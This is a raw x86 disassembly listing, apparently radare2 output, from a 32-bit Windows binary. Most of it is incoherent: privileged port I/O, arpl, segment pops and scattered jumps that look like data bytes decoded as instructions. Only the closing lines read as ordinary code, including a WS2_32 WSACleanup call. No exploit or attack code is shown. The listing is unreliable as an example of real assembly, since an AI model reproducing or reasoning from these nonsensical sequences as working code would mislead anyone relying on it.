arpl word [eax + 0x49a39633], cx
insb byte es:[edi], dx
push ds
xor edx, dword [esi + 0x1e6c49a3]
lea edi, [eax + edx]
jae 0x1009fb89
or dword [esi], 0x30
jge 0x1009fb99
js 0x1009fb38
xchg al, ch
sbb byte [edx + 0x4cbf22c1], 0x6a
jecxz 0x1009fbd7
xor bl, byte [esi + 0x37]
neg dword [edi + 0x60c6b2a0]
or bh, cl
xchg ebp, eax
xchg esp, eax
fld dword [edi]
pop es
inc eax
fimul dword [esi - 0x77]
xchg cl, bl
adc esi, edi
pop ecx
scasd eax, dword es:[edi]
or ch, ah
dec byte [esi + 0x23]
insd dword es:[edi], dx
popfd
add esp, 0xc
jmp 0x1009cf89
add byte [eax], al
add ah, cl
dec edi
arpl word [edx + 0x19], si
pop esp
mov ch, 0x67
cmp byte [ebx + 0x69], dl
int1
scasd eax, dword es:[edi]
sbb ecx, edx
stc
mov ebx, ecx
fst dword [eax]
std
pop ebx
or esp, dword [edx - 0xc]
shl bl, 1
cmpsb byte [esi], byte es:[edi]
dec edx
jge 0x819f98a3
and al, byte [edx + ecx*4]
mov bl, 0x23
push ebx
push ebp
jl 0x1009fbbd
mov dl, 0xc3
fdiv qword [edi]
aaa
das
sub dh, dl
and dword [esi + ebp*8 + 0x11], ecx
push esp
xlatb
and dl, ah
add esi, esp
push eax
xchg ch, ch
lodsd eax, dword [esi]
stc
mov eax, 0xc7600d7a
inc esi
push cs
adc byte [edx - 0x2a19dcab], al
out 0xd5, al
sbb byte [ecx - 0x2b8f3a3b], dh
xchg dword [edx + edi - 0x12ce507c], ecx
insd dword es:[edi], dx
jns 0x1009fc2c
jno 0x1009fc73
xchg dword [edi], ebp
or dl, dh
pop eax
sub eax, 0xef09e1dd
or edi, ebp
push es
int3
add byte [eax], al
lea eax, [esi + 0x80]
pushfd
test byte [0x1009fd40], 0x1e
jne 0x1009fd41
test ebx, ebx
add byte [eax], al
add byte [ecx - 0x1ae44eb1], dh
sub edx, dword [eax]
jae 0x1009fc10
mov cl, 0x4f
mov cl, 0x1b
in eax, 0x2b
adc byte [ebx - 0x5f], dh
das
add ah, ch
dec eax
jnp 0x1009fc61
mov al, 0x6d
in eax, 0x11
mov al, 0xbc
xchg esp, eax
push ss
and byte [esi], dh
xchg esp, eax
adc eax, dword [esi]
pushfd
and ah, ah
dec ebp
push edx
sub dword [ecx], esp
xchg esp, eax
cli
mov esi, 0x798ce8a0
test al, 0xd7
scasd eax, dword es:[edi]
adc al, 0x73
imul edi, dword [edx + 0x70], 0x7df382e7
xor eax, 0xbb84ac13
push edi
inc edx
ja 0x1009fc90
sbb dword [ebx], esi
sub ch, al
cli
jno 0x1009fcaf
js 0x1009fc50
mov al, byte [0xfb599d10]
sub al, 0xa5
adc byte [ebp - 0x5ad304a7], bl
and byte [ecx], 0xf7
cdq
pushfd
mov eax, dword [0x96b8131e]
outsb dx, byte [esi]
test dword [esi - 0x1e], esp
mov bl, 0x74
and dl, byte [esi]
and eax, 0xac52d147
fcom dword [edx]
mov al, byte [0x36a5871c]
mov bl, 0x81
sub eax, 0x1c9898de
pop edx
add eax, 0x76973277
inc ecx
inc edx
adc edi, dword [edi - 0x6c]
xor byte [ebx + 0x77], bh
in eax, dx
sub byte [edi - 0x3eac6930], al
xor ah, dh
lds esi, [ecx + 0x70bf12fc]
cmovnp edx, dword [0x5c3c2026]
ror byte [edi - 0x6b], 0xc1
outsb dx, byte [esi]
idiv dword [edx + 0x10]
loop 0x1009fcf8
pop ds
int 0x56
sbb ebp, dword [edi + ebx*8 + 0x9d07ee9]
loop 0x1009fd33
cwde
and al, byte [ecx - 0x1f58957e]
mov word [ebx + 0x18903a6a], fs
cmp al, 0x44
push esi
scasd eax, dword es:[edi]
out 0x68, al
inc eax
dec ecx
pop esi
mov dh, 6
dec ebp
cdq
add ebx, dword [eax]
outsd dx, dword [esi]
imul ebp, dword [edx + 0x7ccbc0d2], 0x5aaf121d
pushal
salc
cld
stosb byte es:[edi], al
rol al, cl
retf
cli
popfd
push 0
push eax
call fcn.1011df60
add esp, 0xc
lea ecx, [esi + 0x198]
call fcn.10052fae
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
pop esi
ret